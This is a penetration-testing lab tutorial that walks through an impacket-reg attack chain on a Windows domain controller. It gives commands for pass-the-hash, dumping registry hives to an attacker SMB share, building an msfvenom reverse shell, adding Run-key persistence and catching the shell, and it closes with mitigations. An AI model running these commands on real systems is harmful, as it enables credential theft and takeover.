Overview

The Windows registry is a hierarchical database that governs application behaviour, user profiles, service configurations, security policies, and system startup. For penetration testers, remote registry read/write access without an interactive session ranks among the most powerful post-exploitation capabilities in an Active Directory environment.

This article presents a complete, end-to-end attack chain using impacket-reg against a Windows Server 2019 domain controller in the ignite.local lab. It covers twenty-three techniques: four authentication methods, three enumeration targets, credential harvesting, RDP enablement, registry key lifecycle management, payload delivery, Run-key persistence, and a live reverse shell callback

Table of Contents:

• Introduction
• Lab Environment
• Authentication Methods
• Password-Based Authentication
• Pass-the-Hash Authentication
• AES Key Authentication
• Kerberos Ticket Cache (ccache) Authentication
• Registry Enumeration
• Enumerating System Configuration
• Enumerating Windows Services
• Enumerating Installed Applications
• Credential Harvesting via Registry Backup
• Starting an SMB Server
• Dumping All Hives with the Backup Command
• Extracting NTLM Hashes with Pypykatz
• Saving Individual Hives with the Save Command
• Verifying the Saved Hive Files
• Registry Modification for Lateral Movement
• Enabling Remote Desktop Protocol (RDP)
• Connecting via RDP
• Registry Key and Value Management
• Creating a New Registry Key
• Adding a Registry Value
• Deleting a Registry Value
• Deleting a Registry Key
• Payload Delivery
• Generating a Reverse Shell Payload with Msfvenom
• Uploading the Payload via Evil-WinRM
• Registry-Based Persistence
• Writing the Run Key Entry (Multi-Line Format)
• Writing the Run Key Entry (Single-Line Format)
• Catching the Reverse Shell
• Starting the Listener and Receiving the Shell
• Mitigation Strategies
  • Restrict and Monitor the RemoteRegistry Service
  • Enforce Credential Hygiene and Privileged Access Controls
  • Protect SAM, SYSTEM, and SECURITY Hives
  • Control RDP Access
  • Harden WinRM and SMB Access
  • Monitor for Reverse Shell Indicators
• Conclusion

Introduction

The Impacket library, maintained by Fortra (formerly Core Security), is the de facto Python framework for Windows network protocol interaction. It implements packet crafters and protocol handlers for SMB, MSRPC, LDAP, Kerberos, and NTLM, underpinning tools such as secretsdump, psexec, smbexec, wmiexec, and GetUserSPNs. Impacket-reg wraps MS-RRP over SMB, mirroring native reg.exe from a remote host.

The RemoteRegistry service exposes the registry through the \pipe\winreg named pipe over SMB. Impacket-reg connects, auto-starts RemoteRegistry if stopped, runs the operation, then stops the service again — remaining clean and service-state-aware.

Registry access unlocks several objectives at once. Enumerating HKLM\SOFTWARE reveals installed software; querying HKLM\SYSTEM\CurrentControlSet\Services exposes registered services for privilege escalation research. Dumping the SAM, SYSTEM, and SECURITY hives extracts local hashes without touching lsass.exe, bypassing LSASS-focused EDR. Writing the Terminal Server key enables RDP; writing the Run key establishes reboot-persistent access.

Four authentication methods — plaintext credentials, NTLM hash, AES Kerberos key, and ticket cache — make impacket-reg usable at every engagement stage, from phishing-captured plaintext to tickets pulled from domain controllers. This article documents each technique with exact syntax, expected output, and context for both lab replication and production detection.

Lab Environment

All techniques documented in this article were performed in an isolated VMware-based Active Directory lab. No production systems or networks were involved. The lab consists of the following components:

The lab replicates a realistic post-exploitation scenario in which the attacker has already obtained valid domain credentials — either through phishing, password spraying, or an earlier compromise — and now uses impacket-reg to escalate impact.

Authentication Methods

Impacket-reg supports four credential types: plaintext password, NTLM hash, AES Kerberos key, and a Kerberos ticket cache (ccache). Each method grants identical registry access — the choice depends on which credential material the attacker has obtained during the engagement.

Password-Based Authentication

The most direct method passes plaintext credentials in the format domain/user:password@target. Impacket-reg automatically detects whether RemoteRegistry is running and starts it if necessary, performs the requested operation, then stops the service — leaving the system in its original service state after every operation.

impacket-reg ignite.local/administrator:Ignite@[email protected] query -keyName HKLM\\SOFTWARE

The tool detects that RemoteRegistry is stopped, starts it automatically, then queries HKLM\SOFTWARE and returns all subkeys — exposing installed software namespaces including Google, Intel, Microsoft, Mozilla, VMware, XAMPP, and a custom TestKey entry — before stopping the service after the operation completes.

Pass-the-Hash Authentication

When plaintext credentials are unavailable, but an NTLM hash has been captured — through secretsdump, Mimikatz, or a SAM dump — impacket-reg accepts the hash directly via the -hashes flag in LMHash:NTHash format. This Pass-the-Hash technique authenticates without decrypting the hash, making it immediately usable after extraction.

impacket-reg -hashes :32196B56FFE6F45E294117B91A83BF38 ignite.local/[email protected] query -keyName HKLM\\SOFTWARE

By supplying only the NT hash (leaving the LM portion empty), the tool authenticates successfully. It returns the identical HKLM\SOFTWARE subkey listing — confirming that hash-based authentication provides equivalent registry access to a valid plaintext password.

AES Key Authentication

In Kerberos environments where AES encryption is enforced, impacket-reg accepts an AES-256 session key via the -aesKey parameter. The tool derives a Kerberos service ticket from this key and uses it to authenticate against the domain controller without transmitting a password or hash over the wire — making this method suitable for environments with NTLM restriction policies.

impacket-reg -aesKey e1182a9a34827cabac57a635ae47ce2b2945b4e9397d369b07d4d714c6c525b7 ignite.local/[email protected] query -keyName HKLM\\SOFTWARE

The tool notes the absence of a CCache ticket file, skips the cache lookup, and authenticates using the provided AES-256 key. It successfully enumerates the SOFTWARE hive and returns the same comprehensive subkey listing as the previous methods.

Kerberos Ticket Cache (ccache) Authentication

The stealthiest option reuses an existing Kerberos ticket cache (ccache file) obtained during earlier privilege escalation or ticket theft — such as an overpass-the-hash attack or Rubeus extraction. The operator exports the ticket path via the KRB5CCNAME environment variable, then passes -k -no-pass to instruct impacket-reg to use the cached ticket without prompting for additional credentials. This method transmits no credential material over the network beyond the Kerberos ticket exchange itself.

export KRB5CCNAME=Administrator.ccache

impacket-reg -k -no-pass ignite.local/[email protected] query -keyName HKLM\\SOFTWARE

The pre-obtained ticket authenticates the session without transmitting a password or hash, achieving the lowest possible detection footprint while gaining full registry read access to the domain controller.

Registry Enumeration (Query Command)

With authenticated access established, impacket-reg enables targeted registry enumeration. Querying specific keys exposes system paths, installed software, and running services — intelligence that directly informs planning for privilege escalation, research into software vulnerabilities, and lateral movement decisions.

Enumerating System Configuration

The HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion key stores critical operating system configuration values including program file directories, common library paths, device paths, and media paths. These REG_SZ and REG_EXPAND_SZ entries expose the filesystem layout of the target — information essential for planning file-based persistence or identifying writable locations accessible to high-privilege processes.

impacket-reg ignite.local/administrator:Ignite@[email protected] query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion"

The output displays ProgramFilesDir, CommonFilesDir, DevicePath, MediaPathUnexpanded, and ProgramFilesPath values, together with dozens of subkeys spanning application management, authentication, Bluetooth, BITS, and cloud experience services — providing a complete picture of the target operating system configuration.

Enumerating Windows Services

The HKLM\SYSTEM\CurrentControlSet\Services hive contains the complete service registry of the target, including every driver, system service, and third-party service installed on the host. Enumerating this path surfaces unquoted service paths, misconfigured service permissions, and non-standard services that may serve as privilege escalation or persistence vectors.

impacket-reg ignite.local/administrator:Ignite@[email protected] query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services"

The output returns hundreds of entries including .NET CLR runtime components, ACPI and hardware drivers, Active Directory services (adsi, ADWS), AFD networking, and custom services — delivering a complete map of the target’s service attack surface without requiring any interactive session on the host.

Enumerating Installed Applications

The HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall key holds a registry entry for every application installed via Windows Installer (MSI) or a compatible installer on the target. Each subkey contains the application name, version, publisher, and install location. Security testers use this to identify outdated or vulnerable software, third-party tools with known exploitable configurations, or applications associated with specific attack chains.

impacket-reg ignite.local/administrator:Ignite@[email protected] query -keyName HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall

The results expose Mozilla Firefox, Notepad++, XAMPP, MPlayer2, and Connection Manager, alongside several MSI-packaged components identified by GUID keys — delivering the full software inventory of the target domain controller in a single remote registry query.

Credential Harvesting via Registry (Backup Command)

The SAM, SYSTEM, and SECURITY registry hives together contain every local account credential stored on a Windows host. The SAM hive holds encrypted password hashes, the SYSTEM hive contains the boot key needed to decrypt them, and the SECURITY hive stores cached domain credentials and LSA secrets. Impacket-reg can export all three remotely to an attacker- controlled SMB share, enabling offline hash extraction without accessing lsass.exe memory.

Starting an SMB Server

Before dumping hives, the operator starts an SMB server on the Kali machine using impacket-smbserver. This creates a network share that the target Windows host will write the exported hive files to over the network. The -smb2support flag ensures compatibility with Windows Server 2019, which enforces SMBv2 or higher and rejects SMBv1 connections.

impacket-smbserver share $(pwd) -smb2support

The server creates a share named “share” pointing to the current working directory on the Kali machine, accepting incoming file writes from the target. It is now ready to receive the exported registry hive files.

Dumping All Hives with the Backup Command

The backup subcommand exports the SAM, SYSTEM, and SECURITY hives in a single atomic operation, writing each to the specified remote share. Impacket-reg triggers RemoteRegistry via a named pipe, bypassing the service status check, and completes the dump without requiring administrative tools to be present on the target host.

impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" backup -o '\\192.168.1.6\\share'

The tool triggers the named pipe and saves SAM.save, SYSTEM.save, and SECURITY.save directly to the Kali SMB share — delivering all three hive files in a single command, ready for offline hash extraction.

Extracting NTLM Hashes with Pypykatz

With the hive files on the Kali machine, pypykatz — a Python-native implementation of Mimikatz’s offline registry parsing functionality — decrypts the SAM database using the boot key extracted from the SYSTEM hive and outputs all local account NTLM hashes in a format ready for Pass-the-Hash attacks or offline cracking.

pypykatz registry --sam SAM.save SYSTEM.save

Pypykatz extracts the SYSTEM boot key (1dcb090010f8831f0f488733301b6fdf), decrypts the SAM database, and outputs the full credential dump. The Administrator account’s NTLM hash (32196B56FFE6F45E294117B91A83BF38) appears in the output — the same hash used in the Pass-the-Hash authentication demonstration — confirming the complete credential extraction chain.

Saving Individual Hives with the Save Command (Save Command)

As an alternative to the backup command, the save subcommand exports individual hives one at a time. This provides granular control over which hive to export and is compatible with older Impacket versions that may not support the backup subcommand.

impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\\SAM' -o '\\192.168.1.6\\share'
impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\\SYSTEM' -o '\\192.168.1.6\\share'
impacket-reg "ignite.local"/"raj":"Password@1"@"192.168.1.12" save -keyName 'HKLM\\SECURITY' -o '\\192.168.1.6\\share'

Each command connects via the named pipe and exports the respective hive, producing the same three-file set as the backup method — with explicit per-hive control over the export sequence.

Verifying the Saved Hive Files

A directory listing on the Kali machine confirms that all three hive files arrived with timestamps from the current session, verifying that the export completed successfully and the files are intact for parsing with pypykatz or impacket-secretsdump.

The listing shows SAM.save at 49 KB, SECURITY.save at 36 KB, and SYSTEM.save at 17 MB — all written within the same minute, confirming a complete and consistent hive dump ready for offline credential extraction.

Registry Modification for Lateral Movement (Add Command)

Beyond read operations, impacket-reg can write to the remote registry — enabling attackers to modify system settings that directly affect access and connectivity to the target. The most impactful write operation in lateral movement scenarios is enabling RDP, which opens a graphical session channel without requiring any console access to the host.

Enabling Remote Desktop Protocol (RDP)

Windows controls RDP availability through the fDenyTSConnections registry value under the Terminal Server control key. A value of 1 (the default on Server Core or hardened systems) disables RDP; setting it to 0 enables the service. Impacket-reg writes this value remotely without requiring an existing RDP session or any tool on the target host, using only an authenticated SMB connection.

impacket-reg ignite.local/administrator:Ignite@[email protected] add \
  -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" \
  -v fDenyTSConnections \
  -vt REG_DWORD \
  -vd 0

Impacket-reg starts RemoteRegistry, writes the fDenyTSConnections DWORD to 0 within the Terminal Server control path, and confirms the successful write operation — displaying the key, type, and value — before stopping RemoteRegistry. RDP becomes available immediately without requiring a host restart.

Connecting via RDP

With RDP now enabled, the operator connects from Kali using rdesktop — a Linux-native RDP client — to establish a full graphical desktop session on the domain controller. This confirms that the registry modification took immediate effect.

rdesktop 192.168.1.12

The Windows Server 2019 login screen for DC1 appears, accepting domain credentials and providing complete graphical access to the target system — confirming successful lateral movement via remote registry modification alone.

Registry Key and Value Management

Impacket-reg provides a complete create, read, update, and delete (CRUD) interface for registry keys and values. These operations underpin persistence mechanisms, configuration staging, and post-engagement cleanup — giving operators fine-grained control over the target registry state.

Creating a New Registry Key

The add subcommand without a -v flag creates an empty subkey at the specified path. Attackers use this to create new persistence locations, establish custom configuration namespaces, or prepare keys before populating them with values in subsequent operations.

impacket-reg ignite.local/administrator:Ignite@[email protected] add -keyName HKLM\\SOFTWARE\\PentestLab

Impacket-reg creates HKLM\SOFTWARE\PentestLab and confirms with “Successfully set subkey HKLM\SOFTWARE\PentestLab” — making the key immediately available for value population.

Adding a Registry Value

After creating the key, the operator populates it with a named value using the -v (value name), -vt (data type), and -vd (data content) flags. This same pattern applies when writing persistence payloads, backdoor configurations, or encoded staging data to any registry key.

impacket-reg ignite.local/administrator:Ignite@[email protected] add -keyName HKLM\\SOFTWARE\\PentestLab -v TestValue -vt REG_SZ -vd "LabData"

The tool confirms the write with the full path (HKLM\SOFTWARE\PentestLab\TestValue), the type (REG_SZ), and the stored data (LabData) — verifying that the value write operation completed without error.

Deleting a Registry Value

The delete subcommand with the -v flag removes a specific value from a key while leaving the key structure intact. This enables surgical removal of individual entries — for example, removing a specific persistence value while preserving the key hierarchy around it.

impacket-reg ignite.local/administrator:Ignite@[email protected] delete  -keyName HKLM\\SOFTWARE\\PentestLab -v TestValue

Impacket-reg confirms with “Successfully deleted key HKLM\SOFTWARE\PentestLab\TestValue” — removing the value from the key while the PentestLab key itself remains intact.

Deleting a Registry Key

Omitting the -v flag from a delete command targets the entire key, removing it and all values it contains. This operation supports post-engagement cleanup — removing all registry artefacts created during the test and restoring the target registry to its pre-engagement state.

impacket-reg ignite.local/administrator:Ignite@[email protected] delete -keyName HKLM\\SOFTWARE\\PentestLab

The tool confirms with “Successfully deleted subkey HKLM\SOFTWARE\PentestLab” — completely removing the key and completing the full CRUD lifecycle: create, populate, remove value, and remove key.

Registry Persistence

With registry access established and intelligence gathered, the operator moves to payload delivery — placing an executable on the target host that will be used to establish a reverse shell. The delivery uses two complementary tools: msfvenom for payload generation and Evil-WinRM for transfer, leveraging the Administrator credentials confirmed through registry access.

Generating a Reverse Shell Payload with Msfvenom

Msfvenom, part of the Metasploit Framework, generates self-contained executable payloads. The windows/shell_reverse_tcp payload embeds a raw TCP reverse shell that initiates an outbound connection to the attacker’s listener. Port 443 is chosen because it matches the HTTPS port, which is typically permitted through egress firewall rules and generates less alert noise than non-standard ports.

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.6 lport=443 -f exe > shell.exe

Msfvenom selects Windows automatically and writes it to shell.exe on the Kali filesystem — ready for upload to the target.

Uploading the Payload via Evil-WinRM

Evil-WinRM connects to the target via Windows Remote Management (WinRM, port 5985) and provides a PowerShell-based remote shell with built-in file transfer commands. The operator authenticates using the Administrator credentials, navigates to a writable directory, and uploads the payload using Evil-WinRM’s upload command.

evil-winrm -i 192.168.1.12 -u administrator -p Ignite@987
cd c:\temp
upload shell.exe

Evil-WinRM establishes the PowerShell session and transfers all 9556 bytes of shell.exe to C:\temp\shell.exe on the domain controller. The payload is now on the target and ready to execute.

With the payload on disk, the operator establishes persistence by writing its path to the HKLM\Software\Microsoft\Windows\CurrentVersion\Run key. The Run key executes every registered executable at user logon, making it one of the most common and effective Windows persistence mechanisms. Impacket-reg writes this entry entirely over SMB — no interactive session on the target is required.

Writing the Run Key Entry (Multi-Line Format)

The operator registers shell.exe under a key named “MyApp” in the Run key. The multi-line backslash continuation format breaks the command across several lines for readability — preferred for documentation, reports, or interactive terminal use. Impacket-reg confirms the write with a structured output showing the full key path, data type, and registered value.

impacket-reg ignite.local/administrator:'Ignite@987'@192.168.1.12 add \
  -keyName "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" \
  -v "MyApp" \
  -vt REG_SZ \
  -vd "C:\\temp\\shell.exe"

The tool confirms the write — displaying the full path HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MyApp, the type (REG_SZ), and the value (C:\temp\shell.exe). The persistence entry is now active: shell.exe will execute on the next user logon or system restart.

Writing the Run Key Entry (Single-Line Format)

The identical persistence entry expressed as a single-line command is preferred for scripted automation, one-liner execution chains, or piping into shell sessions where backslash continuation characters may be misinterpreted. This format also clearly exposes the full RemoteRegistry service lifecycle — start, write, stop — demonstrating that impacket-reg manages the service automatically regardless of how the command is formatted.

impacket-reg ignite.local/administrator:'Ignite@987'@192.168.1.12 add -keyName "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -v "MyApp" -vt REG_SZ -vd "C:\\temp\\shell.exe"

The output shows RemoteRegistry transitioning from stopped to running, the successful set operation confirming key, type, and value, then RemoteRegistry stopping — the identical result as the multi-line format, with the full lifecycle visible in one terminal output.

Catching the Reverse Shell

With the Run key persistence entry in place and shell.exe at C:\temp\shell.exe, the complete attack chain is ready to execute. The operator starts a listener on the Kali machine before the target system restarts or a user logs on. When Windows processes the Run key, shell.exe fires automatically and initiates a TCP connection back to the waiting listener — closing the loop from registry access to remote command execution.

rlwrap nc -lvnp 443

The listener binds to all interfaces and waits. When the target processes the Run key — on the next user logon or system restart — shell.exe executes and establishes a TCP connection from 192.168.1.12:49736 to the Kali listener on port 443. The shell identifies itself as Microsoft Windows Version 10.0.17763.737 (Windows Server 2019, Build 17763) and drops the operator into a SYSTEM-context command prompt at C:\Windows\system32> — confirming full administrative control over the domain controller through the registry-based attack chain.

Mitigation Strategies

The documented chain abuses several Windows features and default configurations, so effective defence must be layered — addressing each stage from initial registry access to the final reverse shell. Applied together, the controls below sharply reduce the attack surface exposed by impacket-reg and comparable tooling.

• Restrict and monitor RemoteRegistry: Impacket-reg depends wholly on the RemoteRegistry service. Disable it via Group Policy on all non-management hosts, especially DCs and servers. Where remote registry access is required, restrict named-pipe access to management IPs with host firewall rules. Block inbound SMB (TCP 445) from workstations to DCs. Monitor Event ID 7036 for unexpected RemoteRegistry starts, and Event ID 5145 for access to the \pipe\winreg named pipe.
• Enforce credential hygiene: All four impacket-reg auth methods require valid privileged credentials. Deploy a PAW model and enforce Tier-0 isolation so Domain Admin credentials never touch lower-trust systems. Enable Credential Guard and LSA Protection (RunAsPPL) to protect LSA secrets. Add Tier-0 accounts to the Protected Users group and set “Account is sensitive and cannot be delegated.” Rotate privileged passwords regularly and after any suspected compromise to invalidate captured hashes.
• Protect the SAM, SYSTEM, and SECURITY hives: Apply restrictive ACLs to HKLM\SAM and HKLM\SECURITY denying read access to all accounts except SYSTEM, blocking remote hive saves even by administrators. Alert on reg.exe save, impacket-reg backup operations, and VSS access to SAM. Correlate RemoteRegistry starts with outbound SMB to non-domain shares in the same session window.
• Control RDP access: The RDP-enable technique writes fDenyTSConnections, which takes effect without a restart. Enforce fDenyTSConnections = 1 by GPO where RDP is not needed — refresh reverts unauthorised changes. Block TCP 3389 at perimeter and segment boundaries. Audit Event ID 4657 for modifications to the Terminal Server key via a targeted SACL.
• Harden WinRM and SMB: Disable WinRM on hosts that don’t require remote PowerShell; restrict it to management IP ranges via listener ACLs and firewall rules. Alert on WinRM logons (Event ID 4624, Logon Type 3) from Linux or non-domain sources. Enforce SMB signing to defeat relay, and block outbound SMB from DCs to non-domain hosts — impacket-reg backup operations require the DC to initiate that connection.
• Monitor for reverse shell indicators: Log process creation with command line (Event ID 4688) and flag shell.exe executing from paths like C:\temp\. Deploy Sysmon for process and network telemetry (Event IDs 1 and 3) to catch outbound connections to port 443 lacking a TLS handshake. Audit Run-key writes (Event ID 4657) under …\CurrentVersion\Run. Enforce application allowlisting (AppLocker or WDAC) to block unsigned binaries from temporary directories.

Conclusion

This article documented a twenty-three-step post-exploitation campaign built on impacket-reg — a single tool that turns the Windows Remote Registry Protocol into a full attack surface. From four authentication methods, the chain moves through system enumeration, credential harvesting without touching LSASS, lateral movement via RDP enablement, registry key lifecycle management, payload delivery, startup persistence, and a confirmed reverse shell on a Windows Server 2019 domain controller.

The chain illustrates a core principle of modern tradecraft: given authenticated access and an SMB channel, native Windows protocols can achieve full compromise without malware frameworks. Because impacket-reg rides Microsoft’s own documented Remote Registry Protocol, its traffic is indistinguishable from legitimate administration unless specific monitoring is in place.

For defenders, no single control breaks the chain. Combining RemoteRegistry restrictions, privileged credential hygiene, registry ACL hardening, network-level SMB and WinRM controls, and Run-key monitoring produces a prevention and detection posture that is highly effective against these techniques.

Practitioners should replicate this in isolated labs to validate detection coverage and confirm monitoring rules fire on the expected events before relying on them in production. Understanding the attacker’s workflow — command by command — remains the most reliable path to defences that hold under real-world pressure.